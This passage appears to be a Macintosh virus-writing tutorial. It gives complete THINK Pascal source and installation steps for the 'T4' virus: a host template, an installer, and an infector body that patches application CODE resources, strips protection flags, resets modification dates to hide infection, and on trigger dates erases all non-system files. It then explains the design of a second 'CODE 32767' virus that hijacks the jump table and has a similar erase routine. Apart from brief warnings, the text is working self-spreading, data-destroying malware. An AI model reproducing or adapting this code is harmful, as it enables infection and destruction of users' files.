application T4FirstHost.Name it "T4FirstHost Copy". Open the project T4Install. Adjust the pathnames to reflect your folder structure then select "Go". If all is successful, the application T4FirstHost Copy is a ready infected application with the T4(D) virus. BE VERY CAREFULL WHEN YOU RUN THIS APPLICATION. PREFERABLY, DON'T RUN IT AT ALL. IT WILL INFECT YOUR APPLICATIONS IN YOUR HARD DISK IN THE BEST CASE, IT WILL ERASE YOUR HARD DRIVE IN THE WORST. THE AUTHOR DOES NOT BARE ANY RESPONSIBILITY IF YOU WANT TO EXPERIMENT WITH THE VIRUS. IN PARTICULAR IF YOU TRY TO RELEASE THE VIRUS, YOU ARE LIABLE TO CRIMINAL PENALTIES. YOU HAVE BEEN WARNED. If however you want to track the virus, you can use an antiviral tool such as GateKeeper to monitor the operations performed by T4, provided it is not an erase date, cause then GateKeeper won't stop it from erasing your files. THE FIRST HOST APPLICATION {*********************************************************} {Test prototype host for the T4 virus. It hosts the virus simulating a real} {application} {WARNING: DO NOT RUN THIS PROGRAM;SELECT BUILD APPLICATION ONLY} {*********************************************************} program T4FirstHost; {$I-} {the following procedures are needed to simulate the conditions on the} {infected appl} procedure bsrvirus; inline $6100, $0010; procedure applicationcode; inline $4E71, $4E71, $4E71, $4E71; begin initgraf(@theport); initfonts; initwindows; initmenus; teinit; bsrvirus; applicationcode; end. When you select "Build Application" on the above file, a template host is created, which is a totally useless application, unless the virus is attached onto it. I have arranged the branching to take place correctly, so when the virus is installed, it will immediately activate. NOTE: If you try to run this app without first installing the virus onto it, you can tell what will happen. The PC will take a branch into Twilight Zone, since the "bsrvirus" procedure will branch exactly immediately after the 8 bytes of "applicationcode", which is God knows where. When we install the virus later the "bsrvirus" will branch into the appended virus segment, therefore activating the virus. So, here comes the Installer: THE T4 INSTALLER APPLICATION {prototype installer for the T4 virus} {This program assumes the existence of the file "T4FirstHost copy" to which it attaches the virus body, after modifying the header slightly to branch to the correct places. It opens the two resource files (their pathnames must be corrected to reflect your directory structure) and manipulates the main CODE resource of the two files. Errors are written out as they occur during runtime.} {WARNING:DO NOT RUN UNLESS YOU HAVE BUILT THE APPLICATION "First Host Copy", FIRST} program t4install; label 1000; type headercode = array[1..6] of longint; headerptr = ^headercode; headerhandle = ^headerptr; var refnum1, refnum2, attrs: integer; err: oserr; thevirus, thehost, icon, copy: handle; theheader: headerhandle; tr: rect; str1, str2: str255; begin setrect(tr, 100, 100, 400, 400); setTextRect(tr); showtext; str1 := 'Hard Disk:T4:T4Main:T4body'; str2 := 'Hard Disk:T4:T4FirstHost:T4FirstHost Copy'; refnum1 := openresfile(str1); err := reserror; writeln('openresfile:', err); if err <> 0 then goto 1000; thevirus := getresource('CODE', 1); writeln('getresource:', reserror); hlock(thevirus); writeln('hlock:', memerror); refnum2 := openresfile(str2); err := reserror; writeln('openresfile:', err); if err <> 0 then goto 1000; icon := geticon(maxint); copy := newhandle(128); hlock(icon); hlock(copy); blockmove(icon^, copy^, 128); hunlock(copy); hunlock(icon); addresource(copy, 'ICON', maxint, ''); writeln('addresource:', reserror); thehost := getresource('CODE', 1); writeln('getresource:', reserror); attrs := getresattrs(thehost); writeln('getresattrs:', reserror, attrs); setresattrs(thehost, 0); writeln('setresattrs:', reserror); hlock(thehost); writeln('hlock:', memerror); writeln('host:', gethandlesize(thehost), ' virus:', gethandlesize(thevirus)); theheader := headerhandle(thevirus); theheader^^[1] := $48E70080; {movem.l a0,-(sp) ;save a0} theheader^^[2] := $41FAFFFA; {lea *-$0006,A0 ;load virus entry point} theheader^^[3] := $21C809CE; {move.l a0,$09CE ;put in toolscratch} theheader^^[4] := $4CDF0100; {movem.l (sp)+,a0 Æ;restore a0} theheader^^[5] := $60060000; {bra.s *+$0006 ;jump off next} theheader^^[5] := bor(theheader^^[5], integer('T4')); theheader^^[6] := longint('VIRS'); writeln('handandhand:', handandhand(thevirus, thehost)); changedresource(thehost); writeln('changedresource:', reserror); hunlock(thevirus); hunlock(thehost); closeresfile(refnum2); writeln('closeresfile:', reserror); closeresfile(refnum1); writeln('closeresfile:', reserror); disposehandle(icon); disposehandle(copy); 1000: end. The file is actually pretty self explanatory. We use a special interpretation of the virus header as a handle of an array of 6 longints, to be able to set the desired header quickly. There are two resource files that get manipulated. We get refnums to both of them, get a hold of the virus CODE segment, we lock it, then we create a copy of the icon that the virus uses, we add the icon to the file, and then we masage the virus header to put some vital information on it. Specifically, we save register A0, load the virus entry point into it, and put it in the toolscratch low memory global. Then we restore A0, and insert some virus branching instructions to its main code. In order to understand exactly the format of a code segment resource, look at the THINK Pascal manual, where those formats are described. For those who don't have the manual, here's what a code resource header looks like, as built by THINK Pascal: Offset Contents 0 BRA.S *+$10 (branch to header code) 2 $0000 (unused) 4 'TYPE' (resource type) 8 $000A (resource id) 10($A) $0000 (unused) 12($C) $0000 (unused) 14($E) $0000 (unused) Of course we don't have much use for the above stuff, so we modify the header to suit our needs. Note that the virus signature gets loaded in the last six bytes of the header. Note the call to "HandAndHand" which actually appends the virus code segment to the host code, by duplicating the handle involved. If, during installation you see any non-zero error codes written to output, this means that the specified routine has failed for some reason. Check your pathnames first. If they are unset, the program will fail. THE T4 VIRUS MAIN SEGMENT {WARNING:THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF THIS PROGRAM} {*********************************************************} {This unit is the Virus in Malignant form. After all the procedures have been tested,} {the Virus can be installed from the executable form of this unit} {*********************************************************} {COMPILER VARS:} {APPL=TRUE:Execution of the virus as an application for debugging} { =FALSE:Creates the final virus module} { WARNING:If APPL=TRUE the application virus will CORRUPT the file it proccesses} {as it inserts A5 relative code which will NOT work on other applications} {DEBUG=TRUE:includes code for displaying system errors} { =FALSE:Just beeps when error happens} {*********************************************************} {VERSION: 7.6.0 of Thursday November 7 1996 (MUTATED VERSION "E" with new icons)} {*********************************************************} {$IFC APPL} {$D+} {$ELSEC} {$D-} {$ENDC} {$IFC APPL} program T4debug; {$I-} {$ELSEC} unit T4infect; interface procedure Main; implementation {$ENDC} {$IFC APPL} {*********************************************************} {'Here' calculates its own address (the address of '*' below) and is needed to give the application version of T4 some idea of where its executable code resides in relation to the actual loaded CODE segments of this program. It is used only by the APPL version} {*********************************************************} procedure Here (var addr: ptr); inline {from THINK PASCAL: *PEA $xx(A6);to push the address of 'addr'} $48E7, $00C0, {MOVEM.L A0-A1,-(SP) ;save old registers} $41FA, $FFF6, {LEA -8(PC),A0 ;load pc-8 in a0} $226F, $0008, {MOVEA.L 8(SP),A1 ;load address of 'addr' in a1} $2288, {MOVE.L A0,(A1) ;load pc-8 in 'addr'} $4CDF, $0300, {MOVEM.L (SP)+,A0-A1 ;restore regs} $584F; {ADDQ #4,SP ;pop argument} {*********************************************************} {If the application version gets the 'bomb', this is the clean way out...} {*********************************************************} procedure DSError; begin exittoshell; end; {$ENDC} {*********************************************************} {This is the actual 'infection' procedure (also the virus 'body')} {*********************************************************} procedure Main; label 1000, 1001; const initDtrap = $A97B; {'InitDialogs' trap} nop = $4E71; {680x0 no operation} charscanningdepth = 255; {maximum length of pathname} type {selectors for type of patch to code segment} patchtype = (moveorclear, pea); {interpretation of CODE resource as arrays of integers} wordarray = array[0..maxint] of integer; wordptr = ^wordarray; {pointer to array above} wordhandle = ^wordptr; {handle to array above} scratch8bytes = ptr;{scratch area for use by applications at $000009CE} toolscratch = ^scratch8bytes; cinfopbhandle = ^cinfopbptr; {directory scan parameter block handle} HParamBlockHandle = ^HParmBlkPtr; {parameter block for PBHSetFInfo} var scratch: toolscratch; {scratch is the address $000009CE as a pointer} virusaddr: ptr; {virus loading address} err: oserr; {general error} opened, {opened (to be infected) appl's reference number} active, {Main (running) application's reference number} lastresource, index, i, j, {general counters} vrefnum, {volume reference number} initDoffset, {offset of trap _InitDialogs into CODE segment} attributes {resource file or resource attributes} : integer; h, {CODE resource to be patched handle} icon {icon handle coming from Main resource file} : handle; segsize, {CODE segment to be patched, size} virussize {size of virus CODE module} : longint; iconrect, {rectangle for displaying ICON} wbounds {bounds rect for window (debug or display)} : rect; thewindow, {window for display} oldport {to save the old port} : windowptr; cipbh: cinfopbhandle; {directory scan parameter block handle} pathname: str255; {complete pathname of application to be infected} scanname: string[31];{partial file name returned by the scanning proc} theworld: sysenvrec; {default system vars} foundone, {TRUE if there is a candidate for infection} Busy, {TRUE if resource file is opened} sizeok, {TRUE if CODE size + VIRUS size <=32767} hasinitDialogstrap,{TRUE if $A97B resides somewhere in a CODE resource} reinfect, {TRUE if VIRUS counter is a multiple of 40} canbeinfected, {= sizeok AND hasinitDialogstrap} show {TRUE if counter is a multiple of 10} : boolean; patch: patchtype; {moveorclear or pea, depending on the patch we perform} Delete: boolean; {If TRUE, all hell breaks loose} ApplicationFile, {TRUE if type=APPL or Finder or MultiFinder} SystemFile: boolean; {TRUE if SystemFile} Frame: integer; {Frames for Cursor Animation} OldTicks: Longint; {For Cursor Animation} theAnimatedCursor: array[0..7] of CursHandle;{the Animated Cursors} {$IFC NOT APPL} {*********************************************************} {Upon entry to a procedure, THINK does a save on D7/A2-A3. To avoid any complications we save and restore all registers ourselves, just in case...} {*********************************************************} procedure SaveRegisters; inline $48E7, $FFFC; {MOVEM.L D0-D7/A0-A5,-(SP)} procedure RestoreRegisters; inline $4CDF, $3FFF; {MOVEM.L (SP)+,D0-D7/A0-A5} {$ENDC} {$IFC DEBUG} {*********************************************************} {On errors returned by OS, this is some sample code that displays them} {*********************************************************}procedure DebugWindow (str: str255); begin setrect(wbounds, 156, 100, 756, 200);{set window coordinates to something big} thewindow := newwindow(nil, wbounds, '', true, altdboxproc, pointer(-1), false, 0); {bring new window} getport(oldport); {save old port} setport(thewindow); {set port to debug window} moveto(25, 65); {move pen to location} textfont(geneva); textsize(9); drawstring(str); {draw the wanted string} setport(oldport); {set port to saved port} while not button do ; while button do ; disposewindow(thewindow); {dispose window} end; {$ENDC} {*********************************************************} {The following is Here for debugging the code segment using 2 different ways depending on the variables DEBUG and APPL.} {*********************************************************} function IsErr (err: oserr): boolean; {$IFC DEBUG} var str: str255; {$ENDC} begin if err <> noerr then begin {$IFC APPL} writeln(err); {$ELSEC} {*sysbeep(2);*} {early versions of the virus beeped when an error occured} {$IFC DEBUG} numtostring(err, str); DebugWindow(str); {$ENDC} {$ENDC} IsErr := true; end else IsErr := false; end; {*********************************************************} {Evil Dates determines whether the Date is an erase date, or just a replication date} {*********************************************************} function EvilDate: boolean; var theDate: DateTimeRec; temp: boolean; begin GetTime(theDate); {Get the Current Date to determine if it's an evil date} with theDate do begin temp := (Month = 1) and (Day = 1) and (Hour = 9); {Days make 'AMORE FINITUS'} temp := temp or ((Month = 2) and (Day = 13) and (Hour = 10)); temp := temp or ((Month = 3) and (Day = 15) and (Hour = 11)); temp := temp or ((Month = 4) and (Day = 18) and (Hour = 12)); temp := temp or ((Month = 5) and (Day = 5) and (Hour = 13)); temp := temp or ((Month = 6) and (Day = 6) and (Hour = 14)); temp := temp or ((Month = 7) and (Day = 9) and (Hour = 15)); temp := temp or ((Month = 8) and (Day = 14) and (Hour = 16)); temp := temp or ((Month = 9) and (Day = 9) and (Hour = 17)); temp := temp or ((Month = 10) and (Day = 20) and (Hour = 18)); temp := temp or ((Month = 11) and (Day = 21) and (Hour = 19)); temp := temp or ((Month = 12) and (Day = 19) and (Hour = 20)); end; EvilDate := temp; end; {*********************************************************} {SpinCursor Spins the Cursor watch so that the user is informed that the mac is not hanged} {*********************************************************} procedure SpinCursor; var NewTicks: longint; begin NewTicks := TickCount; if abs(NewTicks - OldTicks) >= 50 then begin frame := (frame + 1) mod 8; SetCursor(theAnimatedCursor[frame]^^); OldTicks := NewTicks; end; end; {*********************************************************} {gotoffset returns the offset of 'key' found in the data handle h, of size size. Returns false and offset=- 1 if 'key' not found} {*********************************************************} function GotInitDTrap (h: handle; {CODE handle to examine} size: longint; {size of the handle} var offset: integer): boolean; {returned offset as an integer from start of handle} var off: integer; found: boolean; begin hlock(h); offset := -1; found := false; for off := 2 to size div 2 do{size is in bytes. Since we access ints, it's half} if wordhandle(h)^^[off] = initDtrap then if (wordhandle(h)^^[off - 1] = $42A7) or (band($F000, wordhandle(h)^^[off - 1]) = $2000) then begin {this is the first case. The form of the CODE resource} patch := moveorclear; {is CLR.L -(SP) or MOVE.L An/Dn -(SP) followed by} found := true; {_InitDialogs} offset := off; {set offset to off} leave; {exit for loop} end else if (band(wordhandle(h)^^[off - 2], $FF00) = $4800) then begin {this is the second case. The form of the CODE resource} patch := pea; {is PEA xxxx(A5) followed by _InitDialogs} found := true; offset := off; {set offset to off} leave; {exit loop} end; GotInitDTrap := found; hunlock(h); end; {*********************************************************} {gotLONGoffset returns the offset of a longint 'key' found in the data handle h, of size size Returns false and offset=-1 if 'key' not found. It is a slight variation of the function above} {*********************************************************} function GotSignature (h: handle; {CODE handle to examine} size: longint): boolean; var off: integer; found: boolean; begin hlock(h); found := false; for off := 2 to size div 2 do {size is in bytes. Since we access longs, it's one half} if wordhandle(h)^^[off] = integer('T4') then if (wordhandle(h)^^[off + 1] = integer('VI')) and (wordhandle(h)^^[off + 2] = integer('RS')) then begin {segment contains data 'T4VIRS'} found := true; {} leave; {exit for loop} end; GotSignature := found; hunlock(h); end; {*********************************************************} {If the Application is infected the following returns TRUE, FALSE otherwise} {*********************************************************} function IsInfected: boolean; label 1002; var index: integer; ItIs: boolean; begin ItIs := False; lastresource := count1resources('CODE'); {how many CODE segments?} if lastresource > 0 then {if none, bad appl} begin {start looking} for index := 1 to lastresource do begin h := get1indresource('CODE', index); {get CODE segment} if IsErr(reserror) then goto 1002; segsize := sizeresource(h); {get segment's size} if IsErr(reserror) then goto 1002; ItIs := GotSignature(h, segsize); if ItIs then leave else releaseresource(h); {release unwanted mem} end;{for index} end;{if lastresource} 1002: IsInfected := ItIs; end; {*********************************************************} {the following examines whether an application is infected, not infected or can be reinfected. It also opens the resource fork of the application to be infected so that we can process later the patch. Upon exit from this routine, we have: 1)opened the resource file to be infected. 2)a CODE segment handle h of the CODE resource to be infected, 3) the code id size and 4)the InitDialogs trap offset in initDoffset. If the Global variable "Delete" is true, then the scanning procedure goes through the entire disk erasing all the non application files (i.e. all the files of not type APPL or Finder or MultiFinder). The virus will not erase the Main System Files such as the System or System Update or System Enabler} {*********************************************************} procedure ExamineApplication; label 1002; const ThreeK = 3072; var index: integer; begin sizeok := false; {size NOT ok to start} hasinitDialogstrap := false; {does NOT have InitDialogs trap} canbeinfected := false; {cannot be infected, assume} err := rstflock(pathname, vrefnum); {unlock, just in case} opened := openrfperm(pathname, 0, fsrdwrshperm); {open resource file} err := ResError; Busy := (err <> noErr) or (opened = active); {true if somehow resource file is used} if not Busy then {don't infect Busy apps} begin attributes := getresfileattrs(opened); {maybe it's read only} if band(attributes, mapreadonly) = mapreadonly then begin attributes := attributes - mapreadonly + mapchanged;{clear old attributes} setresfileattrs(opened, attributes); {set new flags} end; useresfile(opened); {make current just in case} reinfect := TickCount mod 100 = 66; {reinfect with probability 1/100} if not IsInfected or reinfect then {it is not infected or to be reinfected} begin {look if it is a candidate for infection} lastresource := count1resources('CODE'); {how many CODE segments?} if lastresource > 0 then {if none, bad appl} begin {start looking} for index := 1 to lastresource do begin h := get1indresource('CODE', index); {get CODE segment} if IsErr(reserror) then goto 1002; segsize := sizeresource(h); {get segment's size} if IsErr(reserror) then goto 1002; hasinitDialogstrap := GotInitDTrap(h, segsize, initDoffset); if hasinitDialogsTrap then sizeok := segsize + virussize <= maxint; canbeinfected := sizeok and hasinitDialogstrap; if canbeinfected then leave else releaseresource(h); {release unwanted mem} end;{for index} end;{if lastresource} end;{if not IsInfected} end;{if not Busy} 1002: if not Busy and not canbeinfected then begin closeresfile(opened);{if not us, or if not Busy, or cannot be infected, close it} PurgeMem(ThreeK); {Purge Unwanted Memory} end; foundone := canbeinfected; end; {*********************************************************} {The following brings the next clean application from the directory. It returns the complete pathname of the next app in the hard drive that does not contain a cntr resource of id=32767 and is not running. Implemented recursively It will scan directories as deep as determined by the constant charscanningdepth} {*********************************************************} procedure NextUninfectedApplication (dirid: longint); var indx: integer; err: oserr; begin indx := 0; repeat indx := indx + 1; with cipbh^^ do begin ionameptr := @scanname; iofdirindex := indx; iodirid := dirid; iovrefnum := 0; err := pbgetcatinfo(cipbh^, FALSE); if (err <> noerr) and (err <> fnferr) then if IsErr(err) then ; if err = noerr then begin if length(pathname) + length(scanname) <= charscanningdepth then {don't look deeper than charscanningdepth chars} begin pathname := concat(pathname, ':', scanname); {stack} if bittst(@ioflattrib, 3) then {directory} NextUninfectedApplication(iodirid) else begin ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder'); SystemFile := pos(scanname, 'System') <> 0; if not Delete and ApplicationFile then ExamineApplication{if type=APPL} else if Delete and not ApplicationFile and not SystemFile then err := HDelete(vrefnum, 0, pathname); end; SpinCursor; if not foundone then {unstack only if we haven't found one yet} begin i := length(pathname); j := i; while pathname[i] <> ':' do i := i - 1; pathname := omit(pathname, i, j); end;{if not foundone} end;{if length ok} end;{if err=noerr} end;{with cipbh^} until (err = fnferr) or foundone; end; {*********************************************************} {ShowMessage displays a little window with the icon of a virus or if the icon is missing, the name T4} {*********************************************************} procedure ShowMessage; begin setrect(iconrect, 1, 1, 33, 33); setrect(wbounds, 50, 50, 83, 83); thewindow := newwindow(nil, wbounds, '', true, plainDbox, pointer(-1), false, 0); getport(oldport); setport(thewindow); UseResFile(active); icon := GetResource('ICON', maxint); if icon <> nil then {if ICON resource present then plot} ploticon(iconrect, icon) else {ICON is missing. Write "T4"} begin textfont(systemfont); textsize(12); moveto(10, 20); drawstring('T4'); end; delay(100, segsize); {delay for 100 ticks} setport(oldport); disposewindow(thewindow); end; {*********************************************************} {If the ResProtected attribute is on, we cannot modify the resource. So, clear it} {*********************************************************} procedure ClearResProtected (h: Handle); begin attributes := getresattrs(h); if band(attributes, resprotected) = resprotected then setresattrs(h, attributes - resprotected);{clear attributes so we can write} end; {*********************************************************} {This is the actual patching of the code of the infected file. Adds the new branching instructions depending on whether the CLR.L or the PEA instruction was used in the modified code.} {*********************************************************} procedure PatchCode; begin hlock(h); case patch of moveorclear: begin {BSR (segsize - 2 * initDoffset)} wordhandle(h)^^[initDoffset - 1] := $6100; wordhandle(h)^^[initDoffset] := segsize - 2 * initDoffset; end; pea: begin {BSR (segsize + 2 - 2 * initDoffset)} wordhandle(h)^^[initDoffset - 2] := $6100; wordhandle(h)^^[initDoffset - 1] := segsize + 2 - 2 * initDoffset; wordhandle(h)^^[initDoffset] := nop; {NOP} end; end; {case patch} hunlock(h); end; {*********************************************************} {Add virus signature, resource type cntr to infected file if not already in} {note that if someone removes the cntr signature, a double infection will occur.} {*********************************************************} procedure AddIcon; begin {*********************************************************} {Add virus ICON to infected file if not already in} {*********************************************************} UseResFile(active); icon := GetResource('ICON', maxint); {will bring it from opened resfile} if icon <> nil then {add icon resource if present} begin DetachResource(icon); UseResFile(opened); AddResource(icon, 'ICON', maxint, ''); end; end; {*********************************************************} {The following routine corrects the modification date so that it doesn't show after the infection} {*********************************************************} procedure SetModificationDate; label 1002; var ParamBlock: HParamBlockHandle; {parameter block for PBHSetFInfo} err: OsErr; begin ParamBlock := HParamBlockHandle(NewHandle(SizeOf(HParamBlockRec))); if isErr(MemError) then goto 1002; {Exit if we can't get the memory} HLock(Handle(ParamBlock)); with ParamBlock^^ do begin ioFDirIndex := 0; ioNamePtr := @pathname; err := PBHGetFInfo(ParamBlock^, FALSE); ioFlMdDat := ioFlCrDat; err := PBHSetFInfo(ParamBlock^, FALSE); end; HUnlock(Handle(ParamBlock)); DisposeHandle(Handle(ParamBlock)); 1002: end; begin {Main body} {$IFC APPL} Here(virusaddr); {$ELSEC} SaveRegisters; initdialogs(nil); initcursor; scratch := pointer($09CE); {fetch virus entry point stored there from the header instructions} virusaddr := scratch^; {$ENDC} active := curresfile; {get current resource file} lastresource := count1resources('CODE');{how many CODE segments current?} for index := 1 to lastresource do begin h := get1indresource('CODE', index); segsize := sizeresource(h); {calculate segment size} {*********************************************************} {The next statement is pretty tricky: If a CODE segment is already loaded, and contains this^ very code, (i.e. the virus), then the master pointer returned by the resource manager should be the loading point of the application. So, if the virus address falls between loadingaddress and loadingaddr+size of segment, we found ourselves!} {*********************************************************} if (ord(stripaddress(h^)) <= ord(stripaddress(virusaddr))) and (ord(stripaddress(virusaddr)) <= ord(stripaddress(h^)) + segsize) then begin i := index; leave; end; end; if i > 0 then begin {*********************************************************} {This is another clever calculation. We have been given 3 things: 1) The entry point of the segment that contains the virus code, 2)The virus entry point address, and 3) the size of the entire segment. We calculate then the DYNAMIC size of the virus! Note that this will always work, even if we change the source code. Also one has to be careful not to use the pointer headers, so we use 'StripAddress'} {*********************************************************} virussize := ord(stripaddress(h^)) + segsize -(ord(stripaddress(virusaddr))); {Here we can change the name of the current app} Delete := EvilDate; {Determine if we are to Erase volume} show := TickCount mod 10 = 5; {show icon with probability 1/10} if IsErr(sysenvirons(1, theworld)) then {get the environment} goto 1001; pathname := ''; scanname := ''; vrefnum := theworld.sysvrefnum; if IsErr(setvol(nil, vrefnum)) then {set startup volume} goto 1001; if IsErr(getvol(@pathname, vrefnum)) then{get startup volume} goto 1001; foundone := false; {tentativelly} opened := 0; theAnimatedCursor[0] := GetCursor(WatchCursor); for frame := 1 to 7 do theAnimatedCursor[frame] := GetCursor(-6078 + frame - 1);{Get Cursors from System File} frame := 0; OldTicks := TickCount; cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec))); if IsErr(memerror) then goto 1001; {exit if we can't get the memory} hlock(handle(cipbh)); {lock to use} NextUninfectedApplication(fsrtdirid); {search for next uninfected appl} hunlock(handle(cipbh)); {unlock to free} disposehandle(handle(cipbh)); {dispose of} InitCursor; if foundone then begin {$IFC DEBUG} DebugWindow(pathname); {$ENDC} {we have the code resource in the handle h, so now we can operate on it} {first change the code attributes} ClearResProtected(h); if IsErr(reserror) then goto 1000; PatchCode; if IsErr(ptrandhand(virusaddr, h, virussize)) then goto 1000; changedresource(h); {mark change permanent} if IsErr(reserror) then goto 1000; {The previous call is where the virus will fail if there are} {AntiViral programs running.} updateresfile(opened); if IsErr(reserror) then goto 1000; if not reinfect then AddIcon; if show then ShowMessage; end; {if foundone} 1000: useresfile(active); {restore active resource file} if foundone then closeresfile(opened); {close resource fork} {h was disposed when closeresfile was called. Same goes for all the foreign resources} if foundone then SetModificationDate; 1001: {$IFC NOT APPL} RestoreRegisters; {restore leftout regs} {$ENDC} end;{if i>0} end; {Main body} {$IFC APPL} begin initgraf(@theport); initfonts; initwindows; initmenus; teinit; initdialogs(@DSError); Main; {$ENDC} end. The program should be quite easy for you to analyze with all these comments. Pay particular attention to the actual "patching" code, where we calculate the branching offsets. This point along with the calculations on getting the entry address for the virus are the only two things which are of interest. The rest of the code is quite trivial. Finally we set the modification date so that the virus does not leave a trace on the dates of the infected files. THIRD EXAMPLE: THE CODE 32767 VIRUS DESCRIPTION: We will follow the writing of a new Macintosh virus, which we will call CODE 32767 virus. The name takes from the fact that this virus will add a CODE segment of id 32767 into the infected files. The first question is the HOW the virus will infect files. The answer is by the CODE resource aforementioned. We go to details. CODE resources are loaded by the Jump Table as needed. In particular the Jump Table contains entries that loads the main CODE resource, and entries that refer to intrasegment calls. The first idea would be to change the Jump Table so that it bypasses the regular CODE segment to be loaded first, thereby loading CODE 32767 first. The idea is correct. However, the way to implement that, is tricky. If we extend the Jump Table say by adding a first entry for our CODE 32767 segment, the idea won't work, because there are changes made for which we cannot account. 1)The Length of the JT will change, forcing a change on the variable that's 8 bytes off from the beginning of the JT. This can be cured, however. 2)The "Above A5" variable will change, since it is 32 + length(JT). This can be cured as well. 3)The CODE segment headers will change, since the offset of the first routine's entry is no longer xxxx, rather xxxx+8 (remember adding a JT entry amounts to adding the following 8 bytes: offset of first routine from beginning of segment:(2 bytes) Instruction that moves the segment number onto the stack for _LoadSeg:(4 bytes) {$3F3C,$xxxx ;MOVE.W $xxxx,-(SP)} _LoadSeg trap (2 bytes) {$A9F0} Total:8 bytes. If we change the JT by adding one more entry, the variables above can be corrected but what cannot be corrected is the intrasegment calls, using the register A5. Usually, an intrasegment call from within an app has the form: JSR $xxxx(A5). If we change the JT, the JT information will be incorrect, and the JT will translate the call incorrectly. The way to improve on this, is to forget about "adding" to the Jump Table one more entry, rather "changing" one of its entries. Which entry? The first one of course. The change will be simple. We will change only the CODE id number of the segment to be loaded, in the first entry of the Jump Table. Example: ********************************************************** Suppose the Jump Table looks like this before infection: $00000030 ("Above A5" size) $0000xxxx ("Below A5" size) $00000010 (Length of Jump Table) $00000020 (Offset to jump Table from location pointed to by A5) $188A (Offset of first routine's entry from beginning of seg) $3F3C0001 (MOVE.W #$0001,-(SP)) $A9F0 (_LoadSeg) $012A (Offset of first routine's entry from beginning of seg) $3F3C0002 (MOVE.W #$0002,-(SP)) $A9F0 (_LoadSeg) ********************************************************** AFTER infection it will look like this: ********************************************************** $00000030 ("Above A5" size) $0000xxxx ("Below A5" size) $00000010 (Length of Jump Table) $00000020 (Offset to jump Table from location pointed to by A5) $0000 (Offset of first routine's entry from beginning of seg) $3F3C7FFF (MOVE.W #$7FFF,-(SP)) $A9F0 (_LoadSeg) $012A (Offset of first routine's entry from beginning of seg) $3F3C0002 (MOVE.W #$0002,-(SP)) $A9F0 (_LoadSeg) *********************************************************** This way, none of the Jump Table variables will need to change, since the JT has exactly the same length, and only the first entry is changed. The trick then is to call the segment that the Jump Table originally called, indirectly. For that, we use some inline code, jumping to the segment that the Jump Table originally called, by picking the segment offset and the segment number from the virus header, where they have been stored from the previous infection. Note however that this poses an additional problem. By jumping indirectly to register A0, the stack is left with the main stack frame dangling. Consequently, the Finder return addresses are invalid. To correct this, a special inline routine called "CleanStackAndCall" is created, that clears the main stack frame before jumping to register A0. It looks like: {********************************************************} procedure CleanStackAndCall (aRoutine: ProcPtr); inline $205F, {MOVE.L (SP)+,A0} (pop jumping address from stack) $4CDF, $0CF8,{MOVEM.L (A7)+,D3-D7/A2/A3} (restore registers) $4E5E, {UNLK A6} (restore link frame) $4ED0; {JMP (A0)} (jump to original program) {********************************************************} Note that we first pop the jumping address from the stack, then fix the registers and the stack frame, and finally jump to register A0. Contrary to the T4 virus, the registers do not need to be saved and restored, since the virus is the first thing that gets executed. i.e., nothing gets executed BEFORE the virus, so the registers are clean. Thus, the infected application's code does not care about the state they are in at the time of execution. The virus works as follows: First it scans the disk for files of type APPL. If it finds one it opens it and looks for CODE resources of id 32767 and it checks to see if the main segment number is a valid segment. If the Application contains a resource CODE 32767, it means it is infected. If not, it looks if the main segment can be loaded (that is, the segment that loads after the virus) and then it passes control to the patching manager which performs the following actions: 1)Gathers information from the Jump Table of the to-be-infected application. 2)Modifies the Jump Table to Jump to CODE 32767. 3)It modifies the main CODE segment that was bypassed as follows: If the CODE segment had the header (see above jump table) $0000 (Offset of the first routine's entry in the JT from its beginning) $0001 (Number of Entries for this segment) It will become: $0008 (Since now another entry has replaced the main entry in the Jump Table) $0000 (Number of Entries decreased by one!) In general then, we have the following transformation of the header of the CODE resource that loads first in the Jump Table: $xxxx -> $xxxx+8 $yyyy-> $yyyy-1 That way, all intrasegment references will be preserved correctly. 3)It makes a copy of the viral resource 32767. 4)It stores the main segment number and the main routine offset into the viral resource. 5)It finally Adds that new copy to the file to be infected. The exact sequence of infection is slightly different and actually adds the viral resource FIRST to the newly infected file, since the call to AddResource must be preceded by a call to NewHandle, which may fail if the application does not have a large enough heap. Thus if the memory manager fails to allocate a memory handle it will be forced to exit immediately. An effort is made to Purge memory before the call to NewHandle is made, to ensure that left over resources from previous open files are purged. That way, we can open as many resource files as we may need without memory problems. Even though the NewHandle call is made for a small amount of memory (~2K) it may fail if the application has a small size resource, and has opened many resource files, which it loads into memory. Problems will occur if the application to be infected has many resources that do not fit into the infected application's heap. The above is performed if a global variable called "Delete" is false. If it is true, the procedure that is used for scanning the volume, is altered slightly to erase all non system files from the volume. The status of the global Delete is determined in the beginning from the "timing" of the virus (i.e. it is a function of the DateTime record at the time of run) and it is as follows: It is based on the phrase 'FILE PREDATOR'. Take the English Alphabet, count it, starting with A=1, and the days on which the virus activates are the letters of the phrase 'FILE PREDATOR'. The hours are a plain 12-hour cycle starting with 9-10 for January, 10-11 for February, etc. The virus will infect anything that's of type APPL, including Script Applications, or pseudo- applications that depend on runtime environments. EXCLUDING Native PowerPC code applications and applications that make non standard use of their resource fork. It will not infect most PowerPC applications, which make non standard use of the CODE 0 segment. Specifically, it will infect applications only if they contain a legal call in their jump table as follows: $xxxx (Offset of first routine's entry from beginning of seg) $3F3C00xx (MOVE.W #$00xx,-(SP)) $A9F0 (_LoadSeg) If the application's jump Table contains any other code, in the place of these bytes, it is immune against the CODE 32767 virus. Consequently, there is one very rare case, where the virus will damage an application: If the application contains the call above, but the bytes are not actually a _LoadSeg call. As such, it is more infectuous than the T4 virus, but less informative. For example, the T4 will spin the watch telling the user to wait until the next application is found for infection (which may take some time on disks with many files) but the CODE 32767 virus does not have this capability, since all managers have not been initialized yet. In particular, InitGraf(thePort), InitFonts, InitWindows, InitMenus, TEInit and InitDialogs have not been called, so any graphic processing cannot be done. When the virus attempts to erase the contents of a volume, it may take considerable time (on the order of 30 secs) at which time the user may turn-off the machine from fear of program hanging. However in those 15-20 seconds that the computer has in its time, considerable erasing can take place. In the case of the T4, the erasing will be complete, since there are alert warnings notifying the user about a considerable delay. So the user won't worry. The CODE 32767 virus can infect files only once, contrary to T4 which can infect files more than once. The virus consists of many sub-project files: 1)32767-(Builds the actual viral body) 2)FixHeader-(Corrects the resource header information for the viral CODE resource.) 